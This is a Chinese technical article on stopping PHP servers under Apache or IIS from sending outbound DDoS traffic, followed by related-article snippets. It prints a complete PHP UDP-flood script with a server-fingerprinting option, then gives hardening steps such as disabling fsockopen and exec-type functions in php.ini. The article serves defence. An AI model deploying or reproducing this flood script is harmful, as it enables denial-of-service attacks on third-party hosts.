php(apache/iis)对外发包解决办法

利用百度搜索一下午phpddos代码,代码如下

 代码如下 复制代码

<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET['rat'])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER
['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
for($i=0;$i<$Sendlen;$i++){
        $out .= "A";
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " .
round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/
$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>

这段程序其实简单,我们会发现有这么一句$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); 这就是问题所在了,那么为了以后再出来问题,我们先把fsockopen给关了,注意如果你用了phpmailer组件这个关了就不能发邮件了,

关闭fsockopen具体方案如下

打开你的php.ini文件

 代码如下 复制代码

disable_functions = popen,exec,passthru,system,fsockopen,pfsockopen

重启apache就可以了,但是这样把所有功能都限制了,如果我们只想限制fsockopen可以如下操作。

同样在php.ini里面找到

 代码如下 复制代码

allow_url_fopen = On

改成
allow_url_fopen = Off

再把

extension=php_sockets.dll
改成
;extension=php_sockets.dll

重启apache就可以了。

其它参考方案

把你的php.ini设置为安全模式,这个不是什么好办法,不过也讲一下php safe_mode=on 或把set_time_limit超时时间设置为1秒,

如果你是iis服务器可参考如下操作

1)打开Internet 信息服务(IIS)管理器,右键点“我的计算机”——属性,

选上“允许直接编辑配置数据库(N)”,确定。(这一步也可以先停止IIS,然后找到

 代码如下 复制代码

C:\Windows\system32\inetsrv\MetaBase.xml)

2) 用编辑器打开

 代码如下 复制代码
C:\Windows\system32\inetsrv\MetaBase.xml.

查找关键词为:MinFileBytesPerSec ,将默认值240 修改为0.

查找 ConnectionTimeout  的值修改为 600.

保存退出。

3)重新起动IIS服务

相关参考

关于php外部发送大量数据包解决方法

时间: 2024-09-25 22:55:37

php(apache/iis)对外发包解决办法的相关文章

IIS常见错误解决办法

  IIS常见错误解决办法     Q :为什么我的ASP页面到windows2003后就不能执行了,执行ASPX正常.     A :windows2003中默认没有启用ASP支持,在IIS的Web Service Extensions里找到Active Server Pages,将ALLOW选上,就可以了.     Q :我的IIS只要asp文件有错,就显示HTTP500错误,但是却不显示出错的详细信息.以前能够显示究竟是那个文件的那一行出错,但现在却不显示.     A :在IE的Inte

Mybatis报错: org.apache.ibatis.exceptions.PersistenceException解决办法_Mysql

Mybatis报错: org.apache.ibatis.exceptions.PersistenceException解决办法 一.问题描述 写好配置文件用JUnit进行测试,一运行就报错: org.apache.ibatis.exceptions.PersistenceException: ### Error querying database. Cause: org.apache.ibatis.reflection.ReflectionException: Error instantiat

无法访问局域网内IIS服务器的解决办法

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 今天上午遇到这样的问题: 无法访问局域网内其它电脑中的IIS,以前是可以的,重装了系统就不行了,自己可以访问,但别的电脑不行.看看IIS的IP设置,是192.168.*.*开头的.但为什么不能访问呢? 在网上找了一下解决办法,也没看到类似的回答. 有人说一般发生这种情况时操作系统是XP第二版.于时我就想到了,可能是安全性设置的问题,于时我在控

window2003 iis经常自动停止解决办法

  事件类型:错误 事件来源:Active Server Pages 事件种类:无 事件 ID:5 日期:2003-11-24 事件:22:13:13 用户:N/A 计算机:ABC 描述: 错误: 应用程序池 'DefaultAppPool' 的模板永久性缓存初始化失败,这是由下列错误所导 致: 无法创建应用程序池的磁盘缓存子目录.数据可能包含额外的错误代码.. 这个问题我已咨询了很多网站,都没有办法解决,查看微软相关站点也没有解决.这里是我 最后的希望了.拜托各位高手了.阿陟 2007-4-2

VS2013无法启动 IIS Express Web解决办法

  不要勾选[覆盖应用程序根URL(U)],或让[覆盖应用程序根URL(U)]下面的输入框和上面的输入框的地址一样! 使用VS2013有一段时间了,因前期都是编写C/S程序,没有使用到B/S调试器.前几日,创建了一个MVC项目,突然发现VS2013无法调试,报了这样的错. 一下子有点蒙,why? 修改项目属性的Web项,如下. F5运行,仍然出错. 这时候我知道了是Web调试器没有启动,但是却不明白为什么.于是检查IIS8.5的安装情况,把一些可能需要安装的都给装了. F5运行,问题依旧. 问题

Linux下Apache URL地址大小写敏感解决办法

Linux对文件目录大小写敏感,URL大小写敏感会导致网页打不开,解决方法之一是启用Apache的mod_speling.so模块.假设Apache安装目录是/usr/local/apache2. 一.确认/usr/local/apache2/modules目录下是否存在mod_speling.so模块. 二.编译mod_speling.so模块, 进入apache源码的modules/mappers/目录,运行如下命令自动编译.安装和修改httpd.conf文件,激活mod_speling.s

Windows 7中安装SQL2005提示IIS未安装 解决办法

在Windows 7系统中安装SQL Server 2005时,可能会收到一个警告:提示IIS未安装或者未启用.在通过"控制面板"的"打开或关闭Windows功能"按默认设置安装IIS后,发现仍有这个提示,其原因在于IIS的默认安装设置未安装某些组件,因此只需要在默认安装时再选中以下组件(必须都安全才可以): 组件 所属列表 静态内容 常见HTTP功能 默认文档 常见HTTP功能 HTTP重定向 常见HTTP功能 目录浏览 常见HTTP功能 ASP.Net 应用程序

Fatal error: Class ‘mysqli’ not found in解决办法

在windows中服务器解决办法很简单 解决方法 在php.ini里面去掉  代码如下 复制代码 extension=php_mysqli.dll 这一行前面的分号";",然后再重启IIS/Apache,就可以了,如果还是不行我们可以把php目录中的php_mysqli.dll把这个文件拷到system32目录下,另外开启mysqli扩展,即把php.ini里的;extension=php_mysqli.dll前面的分号去掉,重启服务,应该就有了. 然后再再重启IIS/Apache 在

php对外发包引发服务器崩溃的终极解决方法分享[推荐]_win服务器

一.php对外发包分析 用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下: 复制代码 代码如下: $packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand \